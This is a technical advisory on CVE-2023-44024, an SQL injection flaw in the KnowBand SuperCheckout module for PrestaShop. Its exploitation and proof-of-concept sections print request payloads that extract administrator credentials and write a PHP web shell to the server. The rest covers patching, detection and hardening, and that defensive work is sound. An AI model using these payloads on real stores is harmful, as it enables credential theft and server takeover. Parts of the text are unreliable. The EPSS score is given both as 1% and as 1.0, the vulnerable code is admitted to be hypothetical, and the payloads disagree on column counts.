Description
SQL injection vulnerability in KnowBand Module One Page Checkout, Social Login & Mailchimp (supercheckout) v.8.0.3 and before allows a remote attacker to execute arbitrary code via a crafted request to the updateCheckoutBehaviour function in the supercheckout.php component.
EPSS Score:
1%
Comprehensive Technical Analysis of EUVD-2023-48383 (CVE-2023-44024)
SQL Injection Vulnerability in KnowBand SuperCheckout Module
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2023-48383 (CVE-2023-44024) is a critical SQL injection (SQLi) vulnerability in the KnowBand SuperCheckout module (versions ≤ 8.0.3), a popular one-page checkout, social login, and Mailchimp integration plugin for PrestaShop-based e-commerce platforms. The flaw allows unauthenticated remote attackers to execute arbitrary SQL queries via a crafted HTTP request targeting the updateCheckoutBehaviour function in supercheckout.php.
CVSS 3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive customer/PII data. |
| Integrity (I) | High (H) | Arbitrary data modification (e.g., orders, user accounts). |
| Availability (A) | High (H) | Potential for database corruption or DoS via malicious queries. |
| Base Score | 9.8 (Critical) | Aligns with industry standards for unauthenticated RCE-capable SQLi. |
EPSS & Threat Context
- EPSS Score: 1.0 (96th percentile) – Indicates a high likelihood of exploitation in the wild.
- Exploitability Trends: SQLi vulnerabilities in e-commerce platforms are frequently targeted by threat actors for data exfiltration, payment fraud, and supply-chain attacks.
- Historical Context: PrestaShop modules have been a recurring target (e.g., CVE-2022-36408, CVE-2023-30153), often exploited via automated scanners (e.g., Magecart, SQLi bots).
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
The vulnerability stems from improper input sanitization in the updateCheckoutBehaviour function, where user-controlled input is directly concatenated into SQL queries without parameterized statements or prepared queries.
Step-by-Step Exploitation
-
Reconnaissance:
- Attacker identifies a vulnerable PrestaShop instance using Shodan, Censys, or Google Dorks (e.g.,
inurl:supercheckout.php). - Confirms module version via HTTP headers, JavaScript files, or error messages.
- Attacker identifies a vulnerable PrestaShop instance using Shodan, Censys, or Google Dorks (e.g.,
-
Crafting the Malicious Request:
- The attacker sends a POST/GET request to
supercheckout.phpwith a payload in parameters processed byupdateCheckoutBehaviour. - Example payload (simplified):
POST /modules/supercheckout/supercheckout.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded action=updateCheckoutBehaviour&data=[MALICIOUS_SQL] - SQLi Payload Example:
(Extracts admin credentials from the' UNION SELECT 1,2,3,4,5,6,7,8,9,10,CONCAT(username,':',password),12 FROM ps_employee -- -ps_employeetable.)
- The attacker sends a POST/GET request to
-
Post-Exploitation:
- Data Exfiltration: Dump database contents (e.g., customer PII, payment details).
- Privilege Escalation: Modify admin accounts or inject backdoors (e.g., via
INSERT INTO ps_admin). - Remote Code Execution (RCE): If the database supports stacked queries (e.g., MySQL with
mysqli_multi_query), execute OS commands via:'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- - - Lateral Movement: Pivot to other systems (e.g., payment gateways, CRM) if the database contains credentials.
Automated Exploitation
- Tools: SQLmap, Burp Suite, custom Python scripts.
- Mass Exploitation: Threat actors may use botnets to scan for vulnerable instances and deploy web shells or skimmers (e.g., Magecart-style attacks).
3. Affected Systems & Software Versions
Vulnerable Software
| Component | Affected Versions | Fixed Version |
|---|---|---|
| KnowBand SuperCheckout | ≤ 8.0.3 | ≥ 8.0.4 |
| PrestaShop Core | All versions (if module is installed) | N/A (module-specific) |
Deployment Context
- Primary Targets:
- E-commerce websites using PrestaShop (common in EU SMEs).
- Multi-vendor marketplaces (e.g., PrestaShop add-ons).
- Secondary Impact:
- Third-party integrations (e.g., Mailchimp, social login providers) may expose additional attack surfaces.
- Shared hosting environments where PrestaShop is deployed alongside other CMS (e.g., WordPress, Magento).
4. Recommended Mitigation Strategies
Immediate Actions
-
Patch Management:
- Upgrade to SuperCheckout v8.0.4+ immediately (vendor patch available via Friends of Presta).
- Verify patch integrity by checking file hashes (SHA-256) of
supercheckout.php.
-
Temporary Workarounds (if patching is delayed):
- Web Application Firewall (WAF) Rules:
- Deploy ModSecurity OWASP Core Rule Set (CRS) with SQLi-specific rules (e.g.,
942100). - Block requests containing SQL keywords (
UNION,SELECT,INTO OUTFILE) insupercheckout.php.
- Deploy ModSecurity OWASP Core Rule Set (CRS) with SQLi-specific rules (e.g.,
- Input Validation:
- Modify
supercheckout.phpto whitelist allowed characters inupdateCheckoutBehaviourparameters. - Implement prepared statements (PDO/MySQLi) for all SQL queries.
- Modify
- Disable Module:
- Temporarily disable SuperCheckout if not critical to operations.
- Web Application Firewall (WAF) Rules:
-
Incident Response Preparedness:
- Monitor for exploitation attempts:
- Check web server logs for unusual POST requests to
supercheckout.php. - Look for database errors (e.g.,
MySQL syntax error) in logs.
- Check web server logs for unusual POST requests to
- Forensic Analysis:
- Review database logs for unauthorized queries.
- Check for new admin accounts or modified files (e.g.,
shell.php).
- Monitor for exploitation attempts:
Long-Term Hardening
-
Secure Coding Practices:
- Use ORM (Object-Relational Mapping) instead of raw SQL.
- Implement parameterized queries for all database interactions.
- Disable database error messages in production (prevents information leakage).
-
Infrastructure Hardening:
- Database Segmentation:
- Restrict database user permissions (e.g., no
FILEprivilege for web app users). - Use separate DB users for read/write operations.
- Restrict database user permissions (e.g., no
- Network-Level Protections:
- Isolate PrestaShop instances in a DMZ with strict egress filtering.
- Rate-limit requests to checkout endpoints to prevent brute-force attacks.
- Database Segmentation:
-
Compliance & Auditing:
- PCI DSS Compliance: Ensure affected systems comply with Requirement 6.2 (patch management) and Requirement 11.3 (vulnerability scanning).
- GDPR Considerations:
- Data breach notification may be required if PII is exfiltrated (Article 33).
- Impact assessment for affected EU customers (Article 35).
5. Impact on the European Cybersecurity Landscape
Sector-Specific Risks
| Sector | Potential Impact |
|---|---|
| E-commerce | Financial fraud, reputational damage, loss of customer trust. |
| Retail (SMEs) | Disproportionate impact due to limited security resources. |
| Payment Processors | Increased risk of Magecart-style skimming attacks. |
| Logistics & Supply Chain | Disruption of order processing systems. |
Regulatory & Geopolitical Context
- NIS2 Directive: Organizations in critical sectors (e.g., digital infrastructure) must report incidents within 24 hours.
- ENISA Threat Landscape: SQLi remains a top 5 threat in ENISA’s annual reports, with e-commerce as a prime target.
- Cross-Border Collaboration: EU CERTs (e.g., CERT-EU) may issue joint advisories for widespread exploitation.
Threat Actor Motivations
- Cybercriminals: Financial gain via stolen payment data or ransomware deployment.
- State-Sponsored Actors: Espionage (e.g., targeting EU-based retailers for supply chain intelligence).
- Hacktivists: Defacement or data leaks to protest business practices.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Snippet (hypothetical, based on common PrestaShop module patterns):
// supercheckout.php - updateCheckoutBehaviour function $data = $_POST['data']; // Unsanitized user input $sql = "UPDATE ps_supercheckout_behaviour SET config = '$data' WHERE id = 1"; Db::getInstance()->execute($sql); // Direct SQL execution - Flaw: The
$datavariable is directly interpolated into the SQL query without sanitization or parameterization.
Exploitation Proof of Concept (PoC)
-
Basic SQLi Test:
POST /modules/supercheckout/supercheckout.php HTTP/1.1 action=updateCheckoutBehaviour&data=' OR '1'='1- If the database returns an error (e.g.,
MySQL syntax error), the system is vulnerable.
- If the database returns an error (e.g.,
-
Data Exfiltration:
POST /modules/supercheckout/supercheckout.php HTTP/1.1 action=updateCheckoutBehaviour&data=' UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,':',password),10 FROM ps_employee -- -- Extracts admin credentials from the
ps_employeetable.
- Extracts admin credentials from the
-
RCE via MySQL Stacked Queries:
POST /modules/supercheckout/supercheckout.php HTTP/1.1 action=updateCheckoutBehaviour&data='; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- -- Writes a PHP web shell to the server (requires
FILEprivilege).
- Writes a PHP web shell to the server (requires
Detection & Forensics
- Log Analysis:
- Apache/Nginx Logs:
192.168.1.100 - - [05/Oct/2023:12:34:56 +0000] "POST /modules/supercheckout/supercheckout.php HTTP/1.1" 200 1234 "-" "sqlmap/1.7.2#stable" - Database Logs:
SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%SELECT%';
- Apache/Nginx Logs:
- Memory Forensics:
- Use Volatility or Rekall to detect in-memory web shells or malicious PHP processes.
Advanced Mitigation Techniques
- Runtime Application Self-Protection (RASP):
- Deploy PHP RASP solutions (e.g., Sqreen, Contrast Security) to block SQLi at runtime.
- Database Activity Monitoring (DAM):
- Use IBM Guardium or Oracle Audit Vault to detect anomalous queries.
- Deception Technology:
- Deploy honeypot databases to detect attackers probing for SQLi.
Conclusion & Recommendations
EUVD-2023-48383 (CVE-2023-44024) represents a critical risk to PrestaShop-based e-commerce platforms, with high exploitability and severe impact on confidentiality, integrity, and availability. Given the EPSS score of 1.0, organizations must prioritize patching and implement defense-in-depth controls to mitigate exploitation.
Key Takeaways for Security Teams
- Patch Immediately: Upgrade to SuperCheckout v8.0.4+ without delay.
- Monitor for Exploitation: Deploy WAF rules and log analysis to detect attacks.
- Hardening: Enforce least privilege for database users and disable dangerous SQL functions.
- Compliance: Ensure GDPR/NIS2 compliance for incident reporting if breached.
- Threat Intelligence: Monitor dark web forums for chatter about PrestaShop exploits.
For further details, refer to the Friends of Presta advisory (link) and CVE-2023-44024 in the MITRE CVE database.